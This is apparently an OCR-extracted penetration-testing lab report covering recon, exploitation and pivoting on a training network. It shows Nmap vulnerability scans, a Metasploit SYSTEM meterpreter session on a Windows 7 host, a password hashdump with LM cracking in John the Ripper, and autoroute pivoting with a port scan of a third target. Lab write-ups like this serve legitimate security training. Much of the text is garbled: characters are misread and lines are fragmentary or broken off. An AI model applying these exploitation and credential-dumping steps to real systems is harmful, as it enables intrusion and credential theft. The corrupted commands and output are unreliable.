Lab12
Scope 10.10.5.25-45 (Poyta A)

Step 1 Active Recon and Enumeration

Host is up
shown: 995
STATE
open

microsoft-ds

:windows

ALl
Not sho
MAC Addr

ab.test (1@.10.5.
Not shown: sponse)
Windows RPC
netbios-ssn

ndows - 18 micr ! cgroup: WORKGROUP)
Windows RPC

results
seconds

Step 2 Vulnerability Analysis on Target 1

Target 1 (10.10.5.40):

/home/kali
10.1¢

r NULL UDP
Hosts 1 up (not
can report for R

Not shown:

icrosof

cution vulnerability exists in Micr

http
_ https
_smb-vuln-ms

Nmap done: 1 IP add (1 host up) scanned




Nmap scan report for Renault_Twingo.cyberlab.test (10.10.5.40)
Host is up (@ ps latency).
Mot shown: 996 filt
STATE SERVIC ON
open MSIpC icrosoft Windows RPC
9/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/ tcp
( ftcp open
Address:

Jhome/kali

=vuln 18.10.5.380

Starting Nmap 7.93 ( ://nmap.org ) at 2025-04-01 04:45 EDT
Pre-scan script
| broadcast-avahi-dos:
| i ered hosts:
| .B.08.251
| er NULL UDP avahi packet DoS (CVE-2011-1002).
| _ are all up (not vulnerable).
Mmap scan report for Renmault_Scenic.cyberlab.test (1@.10
Host is up (9.0012s latency,
Mot shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE
Open mMsTpc
open netbios-ssn
open microsoft-ds
open unknown
open unknown
MAC Address: @@:15:5D: 36:14 (Microsoft)

false
p61: No accounts left to try
Mo accounts left to try

Nmap done: 1 IP address (1 host up) scanned in &7.3@ seconds

Metasploit:



Description

rnel Pool Corruption
normal i

normal
| _{ nermal

with a module by name or index.

on obtained!
Pow
the

RENAULT_TWINGO
iindows 7 (6.1 Build

4
fi_FI
WORKGROUP
1

indows

PPID

a

AUTHORITY

e » AUTHORIT

SIrss. y AUTHORIT
wininit.

C5Irss.exe

AUTHORITY
AUTHORITY
RENAULT_TWIN
NT AUTHORIT
AUTHORITY
AUTHORITY
AUTHORIT
AUTHORIT
AUTHORITY

[

Wow oW oW on

Step 4: Exploitation of Target 1

Step 5: Post-Exploitation on Target 1 — Hashdump and Passwords



Domain

TOYOTA_PRIUS

Domain

L nu J
TOYOTA_PRIUS
WORKGROUP

Domain

L nu J
TOYOTA_PRIUS
WORKGROUP

Password
(null

(null)

Password

(null)
(null)
(null)

command to quit

command to quit

L encoding
1 password hash (LM [DES

rning: poor OpenMP sc
ill run 4 OpenMP th
Pre or Ctrl-(
Only 186 c
(D
P:P0:00:00 DONE

ability

swords printed above might not be
show —format=LM" options to disp

sion comple

Step 6. Exploitation of Target 2

hashes.txt

9300p/s
L1 those c
all of the

5

SPRING2 .. STARWAR

words reliably




File Actions Edit View Help File Actions View Help

KGROUP\ Duke
iled: NT_STATUS_LOX

Nmap

RABLE t

VULNE

(100%

hashes2. txt

hashes2. txt

Step 7 Pivoting to Target 3



msf6 exploit( ) > sessions

Active session

Name Type Information Connection

meterpreter x86/ NT AUTHORITY\SYSTEM @ TOYOTA_Y

ARIS

10.10.4.131:4444 — 10.10.4.30:
57683 (10.10.4.30)

exploit(
post(
SESSION = 1
msf6 post(
SUBNET = 10.10.4.0
msf6 post( )
NETMASK = 255.255.255.0
msf6 post( ) > run
Running module against TOYOTA_YARIS
Searching for subnets to autoroute.
Did not find any new subnets to add.
Post module execution completed
msf6 post( ) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary( ) > set rhosts 10.10.4.35
rhosts = 10.10.4.35
msf6 auxiliary(

) > use post/multi/manage/autoroute

set SESSION 1

s

et SUBNET 10.10.4.0

set NETMASK 255.255.255.0

) > options
Module options (auxiliary/scanner/portscan/tcp):

Name
CONCURRENCY
DELAY

Current Setting Required Description

The number of concurrent ports to check per host

The delay between connections, per thread, in millisecond
s

The delay jitter factor (maximum value by which to +/- DE
LAY) in milliseconds.

Ports to scan (e.g. 22-25,80,110-900)

The target host(s), see https://docs.metasploit.com/docs/
using-metasploit/basics/using-metasploit.html

The number of concurrent threads (max one per host)

The socket connect timeout in milliseconds

10
0

yes
yes
JITTER 0 yes
PORTS
RHOSTS

1-10000
10.10.4.35

yes
yes

THREADS
TIMEOUT

yes
yes

View the full module info with the or command.

set threads 10

msf6 auxiliary(
threads = 10
msf6 auxiliary(
[+] 10.10.4.35:
[+] 10.10.4.35:
[+] 10.10.4.35:
e 10.10.4.35:
Auxiliary module execu

msf6 auxiliary(

] 10.10.4.35:

] 10.10.4.35:

] 10.10.4.35:

[+
[+
[+

Step 8. Exploiting Ta

) >

) B
- 10.10.4.35:

run
22 - TCP OPEN
- 10.10.4.35:23 - TCP OPEN
- 10.10.4.35:80 - TCP OPEN
- Caught interrupt from the console...
tion completed
) > run
- 10.10.4.35:22 - TCP OPEN
- 10.10.4.35:23 - TCP OPEN
- 10.10.4.35:80 - TCP OPEN

rget 3.



